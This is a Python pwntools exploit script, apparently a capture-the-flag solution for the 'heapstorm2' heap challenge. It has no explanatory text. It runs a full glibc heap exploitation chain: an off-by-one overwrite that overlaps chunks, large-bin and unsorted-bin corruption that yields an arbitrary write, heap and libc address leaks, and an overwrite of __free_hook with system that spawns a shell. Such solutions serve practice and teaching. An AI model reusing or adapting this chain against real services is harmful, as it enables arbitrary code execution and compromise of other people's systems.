from pwn import * import os import struct import random import time import sys import signal
salt = ''
def clear(signum=None, stack=None): print('Strip all debugging information') os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt)) exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: signal.signal(sig, clear)
try: gdb_symbols = '''
'''
f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w') f.write(gdb_symbols) f.close() os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt)) except Exception as e: print(e)
context.arch = "amd64"
execve_file = './heapstorm2'
sh = process(execve_file) elf = ELF(execve_file) libc = ELF('/glibc/glibc-2.24/debug_x64/lib/libc.so.6')
try: gdbscript = ''' b *$rebase(0x11D2) '''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w') f.write(str(proc.pidof(sh)[0])) f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w') f.write(gdbscript) f.close() except Exception as e: print(e) def Allocate(size): sh.sendlineafter('Command: ', '1') sh.sendlineafter('Size: ', str(size))
def Update(index, size, content): sh.sendlineafter('Command: ', '2') sh.sendlineafter('Index: ', str(index)) sh.sendlineafter('Size: ', str(size)) sh.sendafter('Content: ', content)
def Delete(index): sh.sendlineafter('Command: ', '3') sh.sendlineafter('Index: ', str(index))
def View(index): sh.sendlineafter('Command: ', '4') sh.sendlineafter('Index: ', str(index)) sh.recvuntil(']: ')
Allocate(0x18) Allocate(0x18) Allocate(0x18)
Allocate(0x18) Allocate(0x488) Allocate(0xf8)
Allocate(0x18) Allocate(0x488) Allocate(0xf8)
Allocate(0x18)
Delete(4) Update(3, 0x18 - 12, 'a' * (0x18 - 12)) Allocate(0x18) Allocate(0x3d8) Delete(4) Delete(5) Allocate(0x588)
Delete(7) Update(6, 0x18 - 12, 'a' * (0x18 - 12)) Allocate(0x28) Allocate(0x3c8) Delete(5) Delete(8)
Allocate(0x28) Allocate(0x558)
Delete(4) Allocate(0x18) Delete(8)
Allocate(0x568) Delete(8)
Allocate(0x568) Delete(8)
Delete(1) Delete(2)
Update(10, 0x10, p64(0) + p64(0x13370800-16 - 0x10)) Update(7, 0x20, p64(0) + p64(0x13370800-16 - 8) + p64(0) + p64(0x13370800-16 - 0x28 - 5))
Allocate(0x48)
Update(1, 0x3c, 'b' * 0x10 + p64(0) + p64(0x5041454800000000) + p64(0) + p64(0x13377331) + p64(0x13370850) + p32(0x100))
View(0) result = sh.recvn(0x100) print hexdump(result) heap_addr =( u64(result[:8]) ^ u64(result[0x90: 0x90 + 8])) & 0xFFFFFFFFFFFFF000 log.success('heap_addr: ' + hex(heap_addr))
Update(0, 0x10, p64(heap_addr + 0xb0) + p32(0x20) + p32(0x50414548))
View(3) main_arena_addr = u64(sh.recvn(8)) - 88 log.success('main_arena_addr: ' + hex(main_arena_addr))
libc_addr = main_arena_addr - 0x387b00 log.success('libc_addr: ' + hex(libc_addr))
Update(0, 0x10, p64(libc_addr + libc.symbols['__free_hook']) + p32(0x20) + p32(0x50414548)) Update(3, 8, p64(libc_addr + libc.symbols['system']))
Update(0, 0x10, p64(libc_addr + libc.symbols['__free_hook'] - 8) + p32(0x20) + p32(0x50414548)) Update(3, 0x10, '/bin/sh\0' + p64(libc_addr + libc.symbols['system']))
Delete(3)
sh.interactive() clear()
|